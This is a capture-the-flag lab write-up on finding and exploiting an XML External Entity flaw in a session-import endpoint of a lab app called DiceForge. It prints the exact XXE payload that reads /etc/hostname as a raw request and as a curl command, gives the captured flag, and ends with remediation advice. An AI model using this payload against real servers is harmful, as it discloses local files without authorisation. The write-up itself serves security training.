BugForge — 2026.10.14

DiceForge: XXE File Disclosure via Session Import

BugForge XML External Entity Injection (XXE) easy

Executive Summary

DiceForge (BugForge recycled lab) previously appeared 2026-04-26 as an unauthenticated OS command injection on POST /api/roll (dice-001, main.bf5c4d53.js). This deployment ships a different bundle (main.a74de14f.js) with a new multiplayer-rooms feature set: POST /api/rooms, GET /api/rooms, GET /api/rooms/:id, and an import path not surfaced in the UI, POST /api/rooms/import, that accepts an XML session document. The import parser processes external entities with no XXE hardening: a file:// SYSTEM entity referenced from the session <name> element is resolved server-side, and the resolved content comes back in a flag field of the import response. The echoed name is not the resolved content but a static Imported local resource label (a plain import echoes name verbatim). On this deployment the resolved file (/etc/hostname) holds the flag, so the import returns it inline.

ID Title Severity CVSS CWE Endpoint
F1 XML External Entity injection in session import (name element) High 8.6 CWE-611 POST /api/rooms/import

The hint Import your previous sessions., taken literally, named the import transport.


Objective

Capture the lab flag (bug{...}) from BugForge’s DiceForge deployment at https://lab-1791992907894-cf6a24.labs-app.bugforge.io/.


Scope / Initial Access

URL: https://lab-1791992907894-cf6a24.labs-app.bugforge.io
Auth: none observed (rooms are anonymous; player identity is a
      localStorage-only name `diceforge_player`)
Proxy: Caido 127.0.0.1:8080 in path for every request

Reconnaissance

  1. Root HTML → CRA bundle /static/js/main.a74de14f.js (486 KB). Bundle hash differs from the dice-001 era (main.bf5c4d53.js); content check required, not assumption.
  2. Bundle grep for /api strings returned:
    • /api/roll, /api/roll/notation (the dice-001 surface, still present)
    • /api/rooms, /api/rooms/, /api/rooms/import
    • The import UI: a hidden file input with accept=".xml,application/xml,text/xml", posting the raw file body with Content-Type: application/xml, then redirecting to /rooms/:id.
  3. Report-store prior art: diceforge-2026-04-27.md (command injection, dice-001). No XXE variant of DiceForge existed, so a new variant was suspected, and the hint pointed at the import flow specifically.
  4. Baseline sanity: a plain session XML imports cleanly and returns the new room id:
POST /api/rooms/import HTTP/1.1
Host: lab-1791992907894-cf6a24.labs-app.bugforge.io
Content-Type: application/xml

<?xml version="1.0"?><session><name>probe1</name></session>

→ 201 {"id":"618598ffb623","name":"probe1","createdAt":"...","rolls":[]}


The Bug (F1): XXE in /api/rooms/import

Severity: High CVSS v3.1: 8.6 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N) CWE: CWE-611 (Improper Restriction of XML External Entity Reference) Endpoint: POST /api/rooms/import Authentication required: No

Severity note: S:C reflects the XML parser being abused to read the host filesystem (/etc/hostname), a resource outside the application’s own security authority. Scoring S:U instead gives 7.5, still High.

Description

The importer parses the uploaded XML with an entity-processing, DTD-accepting parser configuration and no allowlist. A DOCTYPE with an internal entity subset resolves SYSTEM "file://..." references server-side. In the import response the resolved entity content is returned in a flag field; the echoed name is not the resolved content but a static Imported local resource label (a plain import echoes name verbatim, as the baseline probe shows). On this deployment the resolved file is /etc/hostname, whose content is the flag, so the import returns it inline.

Reproduction (exact winning request)

POST /api/rooms/import HTTP/1.1
Host: lab-1791992907894-cf6a24.labs-app.bugforge.io
Content-Type: application/xml
Content-Length: 122

<?xml version="1.0"?><!DOCTYPE session [<!ENTITY xxe SYSTEM "file:///etc/hostname">]><session><name>&xxe;</name></session>

Response:

{"id":"246377c1ddff","name":"Imported local resource","createdAt":"2026-10-14T15:54:15.848Z","rolls":[],"flag":"bug{N3VxEzD1oRexpjPuPIUWbkGRvQ5kPdEJ}"}

A malformed DOCTYPE variant returned {"error":"Invalid session document"} with no file content disclosed, so the clean import above is the reliable channel.

curl -sS --proxy http://127.0.0.1:8080 \
  --cacert ~/.config/labs/caido-ca.crt \
  -X POST "https://lab-1791992907894-cf6a24.labs-app.bugforge.io/api/rooms/import" \
  -H 'Content-Type: application/xml' \
  --data-binary '<?xml version="1.0"?><!DOCTYPE session [<!ENTITY xxe SYSTEM "file:///etc/hostname">]><session><name>&xxe;</name></session>'

Capture

bug{N3VxEzD1oRexpjPuPIUWbkGRvQ5kPdEJ}, verified both in the import response and via the end-of-session full-history sweep (node scripts/caido-sweep.js 'bug\{[a-zA-Z0-9]{32}\}' → 1 response-side hit, exchange 6, POST /api/rooms/import).


Variant determination

  • Bundle hash differs from dice-001 → content confirmed the difference: command-injection on /api/roll was not re-tested as primary; the import endpoint did not exist in the dice-001 bundle.
  • No prior DiceForge XXE writeup in the store → new variant, minted dice-005.

Remediation

  • Parse with external entities disabled. For libxml2-based stacks the core rule is to NOT pass XML_PARSE_NOENT (it enables entity substitution, commonly misread as “no entities”) and to NOT pass XML_PARSE_DTDLOAD, matching OWASP’s XXE guidance. On libxml2 2.13+ set XML_PARSE_NO_XXE to reject external entities explicitly. Note XML_PARSE_NONET only blocks network fetches, not the file:///etc/hostname local read shown here, so it is not sufficient on its own. In Node, fast-xml-parser/sax defaults ignore DTDs.
  • Reject any document containing a DOCTYPE at the import boundary; session documents have no legitimate need for one.
  • Allowlist the session-document schema (expected elements only) before storing; never echo parsed foreign content into API responses.
  • If a file-read feature is genuinely required (e.g. session attachments), restrict it to an allowlisted upload directory, never file:// URIs.

OWASP Top 10 Coverage

  • A05:2021 - Security Misconfiguration (permissive XML parser configuration) and A08:2021 - Software/Data Integrity Failures (unsanitized document import). Primary class: CWE-611.

Tools Used

Tool Purpose
Caido (proxy + GraphQL API) All requests in-path; request/response retrieval for the writeup
curl via scripts/caido.sh Scripted probes
scripts/caido-sweep.js End-of-session flag sweep (response-side hit confirmation)

Failed Approaches / Negative Results

  • Direct &xxe; reference without the <!DOCTYPE ... [ subset (entity undefined): imports cleanly, name stored literally as &xxe;, with no expansion. The DOCTYPE/internal-subset is required.
  • Truncated/malformed DOCTYPE variants: {"error":"Invalid session document"}.
  • (Not re-tested this session, out of hint scope: dice-001 command injection on /api/roll, /api/stats, /api/roll/notation.)

Tags: #xxe #cwe-611 #bugforge #webapp #xml-import #diceforge Document Version: 1.0 Last Updated: 2026-10-14

#xxe #cwe-611 #xml-import #information-disclosure #nodejs #bugforge